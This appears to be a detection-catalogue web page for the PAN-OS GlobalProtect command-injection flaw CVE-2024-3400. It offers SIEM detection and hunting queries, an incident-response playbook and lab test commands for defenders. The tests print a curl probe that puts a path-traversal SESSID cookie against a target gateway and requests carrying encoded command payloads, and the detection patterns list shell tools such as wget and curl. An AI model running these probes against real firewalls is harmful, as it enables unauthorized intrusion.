CVE-2024-3400 Elastic Security · Elastic

Detect Palo Alto PAN-OS GlobalProtect Command Injection (CVE-2024-3400) in Elastic Security

CVE-2024-3400 is a critical unauthenticated remote code execution vulnerability (CVSS 10.0) in Palo Alto Networks PAN-OS GlobalProtect gateway. A command injection flaw in the GlobalProtect feature allows an unauthenticated attacker to execute arbitrary OS commands as root by sending specially crafted HTTPS requests. Actively exploited in the wild as part of Operation MidnightEclipse by threat actor UTA0218, attackers have deployed a Python-based backdoor (UPSTYLE) and conducted lateral movement. Affected versions include PAN-OS 10.2.x < 10.2.9-h1, 11.0.x < 11.0.4-h1, and 11.1.x < 11.1.2-h3.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql 
sequence by host.name with maxspan=2m
  [network where network.protocol == "https"
   and url.path : ("/ssl-vpn/hipreport.esp", "/global-protect/*", "/ssl-vpn/*")
   and http.request.method : ("POST", "GET")
  ]
  [process where event.type == "start"
   and process.parent.name : ("pangps", "gpd", "pan_gp", "sslmgr")
   and process.name : ("sh", "bash", "python3", "python", "wget", "curl", "perl")
  ]
critical severity high confidence

EQL sequence rule correlating inbound HTTPS requests to known GlobalProtect paths followed within 2 minutes by anomalous process execution from a GlobalProtect parent process, indicative of CVE-2024-3400 post-exploitation.

Data Sources

Elastic Agent Network EventsElastic Endpoint Process Events

Required Tables

logs-endpoint.events.network-*logs-endpoint.events.process-*

False Positives & Tuning

  • Diagnostic utilities launched by PAN-OS administrators during troubleshooting sessions
  • Automated backup or configuration scripts invoked from the GP daemon
  • Third-party monitoring agents that fork shell processes for health checks

Other platforms for CVE-2024-3400

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2024-3400 SESSID Command Injection Probe

    Expected signal: PAN-OS traffic log entry with URI /ssl-vpn/hipreport.esp, HTTP 200 or 500 response; system log entry referencing unexpected file path in SESSID parameter

  2. Test 2UPSTYLE Backdoor Artifact Simulation

    Expected signal: File creation event at /opt/panlogs/tmp/device_telemetry/threading/bootstrap.min.css; Python3 process launch from lab shell

  3. Test 3GlobalProtect Path Enumeration with Command Keywords

    Expected signal: Network flow logs showing HTTPS GET requests to /global-protect/* and /ssl-vpn/* paths from the test host; URL parameters containing base64-encoded strings

  4. Test 4Post-Exploitation Outbound Beacon Simulation

    Expected signal: Process telemetry shows python3 making outbound HTTP connections; network telemetry shows repeated periodic connections to the same destination IP from the firewall management process context

Last updated: 2026-06-20 Research depth: standard
References (4)

Response Playbook

Triage

  1. Confirm the affected PAN-OS version on the target firewall via 'show system info' and cross-reference against patched versions (PAN-OS 10.2.9-h1, 11.0.4-h1, 11.1.2-h3). If unpatched and GlobalProtect is enabled, treat as actively compromised.
  2. Review PAN-OS system and traffic logs for requests to /ssl-vpn/hipreport.esp or /global-protect/ paths containing shell metacharacters, semicolons, backticks, or Python/wget/curl keywords in the SESSID cookie or URL parameters.
  3. Check for the UPSTYLE backdoor artifacts: a modified bootstrap.min.css file under /opt/panlogs/ or /tmp/, and a Python-based backdoor script — hash-compare against Volexity and Unit42 published IOCs (SHA256s from Operation MidnightEclipse).
  4. Enumerate active GlobalProtect sessions and correlate source IPs against threat intelligence feeds; flag any sessions originating from Tor exit nodes, known attacker infrastructure, or unusual geographies for the environment.
  5. Inspect the firewall's file system (if accessible via CLI) for new files in /tmp/, /var/tmp/, and web-accessible directories that were created after the disclosed date of 2024-04-12.

Containment

  1. Immediately apply vendor patch or, if patching is not immediately possible, disable GlobalProtect portal and gateway features via Device > GlobalProtect > Portals and Gateways — this removes the attack surface per Palo Alto's official advisory.
  2. Isolate the compromised firewall from trusted internal network segments by placing it behind an additional ACL or moving to an out-of-band management network; revoke all active GlobalProtect VPN sessions and force re-authentication after remediation.

Evidence Collection

  1. Preserve full PAN-OS system, traffic, and threat logs before any remediation actions; export via Panorama or scp from /var/log/pan/ — logs may be overwritten during reboot or factory reset.
  2. Capture a memory image and forensic disk image of the firewall if the vendor's DART (Diagnostic and Response Tool) is available, or request a Tech Support File (TSF) via 'request support upload tech-support-file' to preserve volatile state.

Escalation Criteria

  • !Escalate to incident response leadership if evidence of lateral movement is found — specifically if attacker tooling (UPSTYLE backdoor, SSH tunnels, or credential harvesting artifacts) is discovered on internal hosts reachable via the GlobalProtect VPN.
  • !Escalate immediately if the firewall is a perimeter device protecting critical infrastructure, OT/ICS networks, or PCI/HIPAA-scoped environments, or if the attacker is assessed to have achieved persistent access via scheduled tasks or modified startup scripts on the PAN-OS device.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Modified or newly created /opt/panlogs/tmp/device_telemetry/threading/bootstrap.min.css — the UPSTYLE backdoor disguised as a CSS file
  • >PAN-OS system logs showing requests to /ssl-vpn/hipreport.esp with anomalous SESSID cookie values containing command injection payloads
  • >New Python processes (python3) with parent PIDs belonging to pangps, sslmgr, or gpd daemons
  • >Network connections from the firewall management plane to external IPs on non-standard ports shortly after exploitation

Tuning Guidance

Start by scoping the KQL and SPL queries to your specific PAN-OS device hostnames or management IPs to reduce noise from other network appliances. If your environment does not forward PAN-OS syslogs to the SIEM yet, prioritize onboarding that log source — Syslog (UDP 514) or the Palo Alto Networks add-on for your SIEM. The SESSID injection hunt query will produce false positives from legitimate long session identifiers; apply a regex allow-list of your known-good SESSID formats. For the process-execution queries, build a baseline of normal GlobalProtect daemon child processes in your environment over 7 days before enabling alerting — legitimate HA scripts and telemetry collectors may spawn Python or shell. Suppress alerts from your own vulnerability scanner IP ranges when running authorized scans against the portal. Once patched, the URL-pattern rules can be retained as post-patch exploitation attempt monitors with a lower priority.

Hunting Queries

Hunts for anomalous SESSID cookie values in GlobalProtect hipreport requests — the injection vector for CVE-2024-3400. Flags cookies with unusual length, shell metacharacters, or known attacker tooling keywords consistent with Operation MidnightEclipse TTPs.

Hunting — KQL
kql 
CommonSecurityLog
| where DeviceVendor == "Palo Alto Networks"
| where TimeGenerated > ago(30d)
| where Message has "/ssl-vpn/hipreport.esp"
| extend cookie_field = extract(@"SESSID=([^;\s]+)", 1, Message)
| where isnotempty(cookie_field)
| where strlen(cookie_field) > 64 or cookie_field matches regex @"[;|`$(){}\[\]<>]" or cookie_field has_any ("python", "wget", "curl", "/tmp", "base64", "chmod")
| project TimeGenerated, SourceIP, cookie_field, Message
Hunting — SPL
spl 
index=network sourcetype="pan:traffic" uri_path="/ssl-vpn/hipreport.esp"
| rex field=_raw "SESSID=(?<sess_cookie>[^;\s]+)"
| eval suspicious=if(len(sess_cookie)>64 OR match(sess_cookie, "[;|`\$(){}\[\]<>]") OR match(sess_cookie, "(?i)(python|wget|curl|/tmp|base64|chmod)"), 1, 0)
| where suspicious=1
| table _time, src_ip, sess_cookie, _raw

Atomic Red Team Tests

Test 1 CVE-2024-3400 SESSID Command Injection Probe
linux

Simulates the initial exploitation HTTP request by sending a crafted POST to the GlobalProtect hipreport.esp endpoint with a command injection payload in the SESSID cookie. Lab environment only — requires an unpatched PAN-OS 10.2/11.0/11.1 instance.

Command

bash 
curl -sk -X POST 'https://TARGET_GP_IP/ssl-vpn/hipreport.esp' -H 'Cookie: SESSID=../../../../opt/panlogs/tmp/device_telemetry/threading/bootstrap.min.css' --data 'client-ip=1.2.3.4' -o /tmp/cve_2024_3400_response.txt && cat /tmp/cve_2024_3400_response.txt

Cleanup

bash 
rm -f /tmp/cve_2024_3400_response.txt

Expected Telemetry

PAN-OS traffic log entry with URI /ssl-vpn/hipreport.esp, HTTP 200 or 500 response; system log entry referencing unexpected file path in SESSID parameter

Expected Detection

KQL CommonSecurityLog rule triggers on SESSID containing directory traversal sequences; SPL pan:traffic rule fires on URI match with anomalous cookie value

Test 2 UPSTYLE Backdoor Artifact Simulation
linux

Creates a benign Python file at the UPSTYLE backdoor drop path to simulate post-exploitation persistence and validate filesystem monitoring and SIEM file-creation alerting.

Command

bash 
mkdir -p /opt/panlogs/tmp/device_telemetry/threading/ && echo '# UPSTYLE simulation - lab only' > /opt/panlogs/tmp/device_telemetry/threading/bootstrap.min.css && python3 -c "import socket; print('UPSTYLE backdoor simulation active')"

Cleanup

bash 
rm -f /opt/panlogs/tmp/device_telemetry/threading/bootstrap.min.css && rmdir /opt/panlogs/tmp/device_telemetry/threading 2>/dev/null; rmdir /opt/panlogs/tmp/device_telemetry 2>/dev/null

Expected Telemetry

File creation event at /opt/panlogs/tmp/device_telemetry/threading/bootstrap.min.css; Python3 process launch from lab shell

Expected Detection

Endpoint telemetry (CrowdStrike/Elastic) file-creation rule fires on .css file created outside web root by non-web process; process telemetry rule flags python3 execution with no legitimate parent

Test 3 GlobalProtect Path Enumeration with Command Keywords
linux

Sends a sequence of HTTP requests to GlobalProtect portal paths with encoded command injection patterns in URL parameters to validate SIEM URL-pattern detection coverage across multiple query formats.

Command

bash 
for path in '/global-protect/portal/css/bootstrap.min.css' '/global-protect/gateway/ssl-tunnel-connect.sslconn' '/ssl-vpn/hipreport.esp'; do curl -sk -X GET "https://TARGET_GP_IP${path}?test=$(echo 'python3 -c import os;os.system(id)' | base64)" -o /dev/null -w "%{http_code} ${path}\n"; done

Cleanup

bash 
No persistent artifacts created; clear local bash history if needed: history -d $(history 1 | awk '{print $1}')

Expected Telemetry

Network flow logs showing HTTPS GET requests to /global-protect/* and /ssl-vpn/* paths from the test host; URL parameters containing base64-encoded strings

Expected Detection

KQL and SPL URL-pattern rules trigger on requests to GlobalProtect paths; SESSID/parameter base64 keyword match fires on the encoded payload in request parameters; QRadar AQL payload scan matches base64 keyword

Test 4 Post-Exploitation Outbound Beacon Simulation
linux

Simulates the outbound C2 beacon behaviour observed in Operation MidnightEclipse, where the UPSTYLE backdoor made HTTP requests to attacker-controlled infrastructure. Uses a loopback destination for lab safety.

Command

bash 
python3 -c "
import urllib.request, time
# Simulates UPSTYLE C2 beacon - lab only, targeting localhost
for i in range(3):
    try:
        urllib.request.urlopen('http://127.0.0.1:9999/beacon', timeout=2)
    except Exception as e:
        print(f'Beacon attempt {i+1}: {e}')
    time.sleep(5)
"

Cleanup

bash 
Kill any background listener: pkill -f 'nc -l 9999' 2>/dev/null; true

Expected Telemetry

Process telemetry shows python3 making outbound HTTP connections; network telemetry shows repeated periodic connections to the same destination IP from the firewall management process context

Expected Detection

Chronicle YARA-L and CrowdStrike CQL rules detecting Python child processes of GlobalProtect daemons with network connections; periodic beacon pattern may trigger network anomaly detections in EDR

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003PersistenceTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1059.006PythonT1021Remote Services

Same Tactic: Initial Access

Popular Detections